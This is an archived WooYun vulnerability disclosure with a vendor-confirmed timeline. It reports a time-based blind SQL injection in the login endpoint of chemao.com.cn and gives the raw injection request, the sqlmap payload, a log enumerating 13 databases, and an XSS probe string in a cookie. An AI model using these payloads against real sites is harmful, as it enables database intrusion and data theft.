当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134183

漏洞标题:车猫SQL注入(13库)

相关厂商:dongdalou.com

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-08-14 18:12

修复时间:2015-09-28 19:06

公开时间:2015-09-28 19:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-14: 细节已通知厂商并且等待厂商处理中
2015-08-14: 厂商已经确认,细节仅向厂商公开
2015-08-24: 细节向核心白帽子及相关领域专家公开
2015-09-03: 细节向普通白帽子公开
2015-09-13: 细节向实习白帽子公开
2015-09-28: 细节向公众公开

简要描述:

一刀穷,一刀富,一刀穿麻布;疯子卖,疯子买,还有疯子在等待。

详细说明:

POST注入包:

POST /index.php?act=check_user_name&app=login HTTP/1.1
X-Forwarded-For: 8.8.8.8'
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.chemao.com.cn:80/
Cookie: uuid=b9ad9df8d8dd325339174aa1c7eef1c6; FC_ID=4c14a67618882c6c51b1bc4a1ad0173f439a360a; globalCookieCity=%A5%BF%CB%C0%AD%C0%AD%CF%D8%C9%BD%BE%B0; redirectURL=%252Findex.php%253Fapp%253De404; _jzqa=1.2755905335876263400.1439535130.1439535130.1439535130.1; _jzqc=1; _jzqx=1.1439535130.1439535130.1.jzqsr=acunetix-referrer%2Ecom|jzqct=/javascript:domxssexecutionsink(0,"'\"><xsstag>()refdxss").-; _jzqckmp=1; _jzqb=1.1.10.1439535130.0; sguid=%7B%22_type_%22%3A%22string%22%2C%22_val_%22%3A%22104513dd-11f6-1e42-1bb2-13f212221392%22%7D; sgpth=%7B%22_type_%22%3A%22string%22%2C%22_val_%22%3A%22%22%7D; _hjIncludedInSample=0; _hjUserId=40edcbea-299f-4f53-b8e6-f311b901d9b6; searchCookie=%5B%22e%22%5D; BAIDUID=911B765CFD7234AAAA0C4C0C9891B11B:FG=1; captcha=2f7r
Host: www.chemao.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
username=-1


username可注入

0.png


1.png


(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection points with a total of 68 HTTP(s) requ
ests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=-1' OR 3 AND (SELECT * FROM (SELECT(SLEEP(5)))fRqI)-- gCQq
21=6 AND 000904=000904 --
---
[16:10:07] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[16:10:07] [INFO] fetching database names
[16:10:07] [INFO] fetching number of databases
[16:10:07] [INFO] resumed: 13
[16:10:07] [INFO] resuming partial value: inform
[16:10:07] [INFO] retrieved:
[16:10:07] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
ation_schema
[16:14:47] [INFO] retrieved: 365eche_apptest
[16:20:57] [INFO] retrieved: 365
[16:22:41] [ERROR] invalid character detected. retrying..
eche_online
[16:27:13] [INFO] retrieved: 365eche_online_bak
[16:34:08] [INFO] retrieved: 365eche_online_v_1_2
[16:42:03] [INFO] retrieved: 365eche_pre
[16:46:31] [INFO] retrieved: 365eche_pre_bak1
[16:52:25] [INFO] retrieved: 365eche_pre_bak2
[16:58:23] [INFO] retrieved: 365eche_pre_bak3
[17:04:19] [INFO] retrieved: fifa2014_online
[17:10:08] [INFO] retrieved: mysql
[17:12:08] [INFO] retrieved: operation_online
[17:18:54] [INFO] retrieved: wordpress
available databases [13]:
[*] `365eche_apptest`
[*] `365eche_online_bak`
[*] `365eche_online_v_1_2`
[*] `365eche_online`
[*] `365eche_pre_bak1`
[*] `365eche_pre_bak2`
[*] `365eche_pre_bak3`
[*] `365eche_pre`
[*] fifa2014_online
[*] information_schema
[*] mysql
[*] operation_online
[*] wordpress
[17:22:47] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 49 times
[17:22:47] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.chemao.com.cn'
[*] shutting down at 17:22:47


看了下当前库 和用户

2.png


漏洞证明:

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-14 19:05

厂商回复:

漏洞很严重,感谢善意提醒,程序框架里面存在bug,修复中。

最新状态:

暂无


漏洞评价:

评论